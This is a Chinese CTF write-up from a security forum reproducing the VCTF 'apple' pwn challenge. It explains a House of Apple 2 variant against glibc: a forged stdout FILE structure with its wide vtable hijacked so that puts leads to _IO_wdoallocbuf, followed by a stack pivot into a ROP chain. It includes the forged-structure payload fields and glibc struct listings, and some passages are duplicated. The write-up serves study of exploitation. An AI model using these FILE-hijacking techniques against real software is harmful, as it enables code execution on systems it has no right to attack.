vctf apple 复现(apple的通用模板)-Pwn-看雪-安全社区|安全招聘|kanxue.com

vctf apple 复现(apple的通用模板)

发表于: 2024-5-16 11:02 10642

vctf apple 复现(apple的通用模板)

ElegyYuan0x1 活跃值

2024-5-16 11:02

10642

本文参考的是Arahat0 师傅的脚本这里主要介绍一下vctf apple的house of apple部分的思路与常规的house of apple不同这里将_wide_data指向劫持的FILE结构体加减偏移来让脚本更加可以移植最后实现栈迁移打ROP链的操作

前情提要:要结合上一篇文章:[原创]vctf apples leak libc操作复现(高版本libc overlapping)-Pwn-看雪-安全社区|安全招聘|kanxue.com来观看在上一篇文章中我们通过较为复杂的overlapping实现了heap和libc的泄露接下来我们通过劫持结构体来实现一次House of apple2的变形

建议和上面的偏移结合起来看还是比较详细的

先这里给出exp中伪造的stdout结构体方便我们后面分析

目的:通过puts函数触发_IO_wfile_overflow函数来调用_IO_wdoallocbuf函数

为了搞清楚劫持原理这里我们分析puts函数的源码

puts中调用_IO_file_xsputn（stdout->vatble(0xd8)->_IO_file_xsputn(0x38)）

r14此时为也就是_IO_file_jumps+0x38的位置

而r14是通过mov r14, [rdi+0D8h]取出来的 rdi为_IO_2_1_stdout_ 根据0xd8偏移可以知道是vatble属性

然后调用_IO_file_overflow

然后走向_IO_do_write

所以要调用_IO_wfile_overflow则需要vatble+0x38位置为_IO_wfile_jumps+24 所以这里控制vtable为_IO_wfile_jumps-0x20

我们最终是想要调用_IO_wdoallocbuf函数

所以我们需要满足条件:

f->_flags & _IO_NO_WRITES为0

(f->_flags & _IO_CURRENTLY_PUTTING) == 0

f->_wide_data(0xa0)->_IO_write_base(0x20) == 0

这里我们要执行_IO_WDOALLOCATE从而调用我们伪造的函数所以我们这里需要过掉保护fp->_wide_data->_IO_buf_base和!(fp->_flags & _IO_UNBUFFERED)

也就是_wide_data(0xa0)的_IO_buf_base(0x38)偏移位置要为0

这里等效为: *(fp->_wide_data(0xa0)->_wide_vtable(0xe0) + 0x68)(fp)

我们先看汇编代码

可以看见这里把rdi赋值给了rbx 而根据前面代码可以知道rdi是_io_wdoallocbuf的参数也就是fp也就是_IO_2_1_stdout_

那么回顾我们前面的payload

然后我们pop_rbp让rbp变成我们存放payload的chunk内容然后再通过leave ret让rsp也移动到我们的chunk上实现栈迁移然后我们就可以愉快打rop链了

0x0:'_flags',

0x8:'_IO_read_ptr',

0x10:'_IO_read_end',

0x18:'_IO_read_base',

0x20:'_IO_write_base',

0x28:'_IO_write_ptr',

0x30:'_IO_write_end',

0x38:'_IO_buf_base',

0x40:'_IO_buf_end',

0x48:'_IO_save_base',

0x50:'_IO_backup_base',

0x58:'_IO_save_end',

0x60:'_markers',

0x68:'_chain',

0x70:'_fileno',

0x74:'_flags2',

0x78:'_old_offset',

0x80:'_cur_column',

0x82:'_vtable_offset',

0x83:'_shortbuf',

0x88:'_lock',
// 以上是一个_IO_FILE结构体包含的内容

0x90:'_offset',

0x98:'_codecvt',

0xa0:'_wide_data',

0xa8:'_freeres_list',

0xb0:'_freeres_buf',

0xb8:'__pad5',

0xc0:'_mode',

0xc4:'_unused2',
// 以上是 _IO_FILE_complete结构体包含的内容

0xd8:'vtable',
// 以上是 _IO_FILE_plus结构体部分

0xe0:'_wide_vtable'
// _wide_vtable是_IO_wide_data的最后一个属性

0x0:'_flags',

0x8:'_IO_read_ptr',

0x10:'_IO_read_end',

0x18:'_IO_read_base',

0x20:'_IO_write_base',

0x28:'_IO_write_ptr',

0x30:'_IO_write_end',

0x38:'_IO_buf_base',

0x40:'_IO_buf_end',

0x48:'_IO_save_base',

0x50:'_IO_backup_base',

0x58:'_IO_save_end',

0x60:'_markers',

0x68:'_chain',

0x70:'_fileno',

0x74:'_flags2',

0x78:'_old_offset',

0x80:'_cur_column',

0x82:'_vtable_offset',

0x83:'_shortbuf',

0x88:'_lock',

// 以上是一个_IO_FILE结构体包含的内容

0x90:'_offset',

0x98:'_codecvt',

0xa0:'_wide_data',

0xa8:'_freeres_list',

0xb0:'_freeres_buf',

0xb8:'__pad5',

0xc0:'_mode',

0xc4:'_unused2',

// 以上是 _IO_FILE_complete结构体包含的内容

0xd8:'vtable',

// 以上是 _IO_FILE_plus结构体部分

0xe0:'_wide_vtable'

// _wide_vtable是_IO_wide_data的最后一个属性

struct _IO_FILE
{

  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
 
  /* The following pointers correspond to the C++ streambuf protocol. */

  char *_IO_read_ptr;   /* Current read pointer */

  char *_IO_read_end;   /* End of get area. */

  char *_IO_read_base;  /* Start of putback+get area. */

  char *_IO_write_base; /* Start of put area. */

  char *_IO_write_ptr;  /* Current put pointer. */

  char *_IO_write_end;  /* End of put area. */

  char *_IO_buf_base;   /* Start of reserve area. */

  char *_IO_buf_end;    /* End of reserve area. */
 
  /* The following fields are used to support backing up and undo. */

  char *_IO_save_base; /* Pointer to start of non-current get area. */

  char *_IO_backup_base;  /* Pointer to first valid character of backup area */

  char *_IO_save_end; /* Pointer to end of non-current get area. */
 
  struct _IO_marker *_markers;
 
  struct _IO_FILE *_chain;
 
  int _fileno;

  int _flags2;

  __off_t _old_offset; /* This used to be _offset but it's too small.  */
 
  /* 1+column number of pbase(); 0 is unknown. */

  unsigned short _cur_column;

  signed char _vtable_offset;

  char _shortbuf[1];
 
  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

struct _IO_FILE_plus
{

  FILE file;

  const struct _IO_jump_t *vtable;
};
 
struct _IO_FILE_complete
{

  struct _IO_FILE _file;
#endif

  __off64_t _offset;

  /* Wide character stream stuff.  */

  struct _IO_codecvt *_codecvt;

  struct _IO_wide_data *_wide_data;

  struct _IO_FILE *_freeres_list;

  void *_freeres_buf;

  size_t __pad5;

  int _mode;

  /* Make sure we don't get into trouble again.  */

  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};

struct _IO_FILE_complete_plus
{

  struct _IO_FILE_complete file;

  const struct _IO_jump_t *vtable;
};

struct _IO_FILE

{

int _flags; /* High-order word is _IO_MAGIC; rest is flags. */

/* The following pointers correspond to the C++ streambuf protocol. */

char *_IO_read_ptr; /* Current read pointer */

char *_IO_read_end; /* End of get area. */

char *_IO_read_base; /* Start of putback+get area. */

char *_IO_write_base; /* Start of put area. */

char *_IO_write_ptr; /* Current put pointer. */

char *_IO_write_end; /* End of put area. */

char *_IO_buf_base; /* Start of reserve area. */

char *_IO_buf_end; /* End of reserve area. */

/* The following fields are used to support backing up and undo. */

char *_IO_save_base; /* Pointer to start of non-current get area. */

char *_IO_backup_base; /* Pointer to first valid character of backup area */

char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;

int _flags2;

__off_t _old_offset; /* This used to be _offset but it's too small. */

/* 1+column number of pbase(); 0 is unknown. */

unsigned short _cur_column;

signed char _vtable_offset;

char _shortbuf[1];

_IO_lock_t *_lock;

#ifdef _IO_USE_OLD_IO_FILE

};

struct _IO_FILE_plus

{

FILE file;

const struct _IO_jump_t *vtable;

};

struct _IO_FILE_complete

{

struct _IO_FILE _file;

#endif

__off64_t _offset;

/* Wide character stream stuff. */

struct _IO_codecvt *_codecvt;

struct _IO_wide_data *_wide_data;

struct _IO_FILE *_freeres_list;

void *_freeres_buf;

size_t __pad5;

int _mode;

/* Make sure we don't get into trouble again. */

char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];

};

struct _IO_FILE_complete_plus

{

struct _IO_FILE_complete file;

const struct _IO_jump_t *vtable;

};

FILE = IO_FILE_plus_struct()

FILE.flags = 0

FILE._IO_read_ptr = pop_rbp

FILE._IO_read_end = heap_addr + 0x470 - 8

FILE._IO_read_base = leave_ret

FILE._IO_write_base = 0

FILE._IO_write_ptr = 1

FILE._lock = heap_addr - 0xc30

FILE.chain = leave_ret

FILE._codecvt = stdout_addr

FILE._wide_data = stdout_addr - 0x48

FILE.vtable = libc.sym['_IO_wfile_jumps'] + libc_base - 0x20

FILE = IO_FILE_plus_struct()

FILE.flags = 0

FILE._IO_read_ptr = pop_rbp

FILE._IO_read_end = heap_addr + 0x470 - 8

FILE._IO_read_base = leave_ret

FILE._IO_write_base = 0

FILE._IO_write_ptr = 1

FILE._lock = heap_addr - 0xc30

FILE.chain = leave_ret

FILE._codecvt = stdout_addr

FILE._wide_data = stdout_addr - 0x48

FILE.vtable = libc.sym['_IO_wfile_jumps'] + libc_base - 0x20

struct _IO_jump_t
{

    JUMP_FIELD(size_t, __dummy);

    JUMP_FIELD(size_t, __dummy2);

    JUMP_FIELD(_IO_finish_t, __finish);

    JUMP_FIELD(_IO_overflow_t, __overflow);

    JUMP_FIELD(_IO_underflow_t, __underflow);

    JUMP_FIELD(_IO_underflow_t, __uflow);

    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);

    /* showmany */

    JUMP_FIELD(_IO_xsputn_t, __xsputn);

    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);

    JUMP_FIELD(_IO_seekoff_t, __seekoff);

    JUMP_FIELD(_IO_seekpos_t, __seekpos);

    JUMP_FIELD(_IO_setbuf_t, __setbuf);

    JUMP_FIELD(_IO_sync_t, __sync);

    JUMP_FIELD(_IO_doallocate_t, __doallocate);

    JUMP_FIELD(_IO_read_t, __read);

    JUMP_FIELD(_IO_write_t, __write);

    JUMP_FIELD(_IO_seek_t, __seek);

    JUMP_FIELD(_IO_close_t, __close);

    JUMP_FIELD(_IO_stat_t, __stat);

    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);

    JUMP_FIELD(_IO_imbue_t, __imbue);
};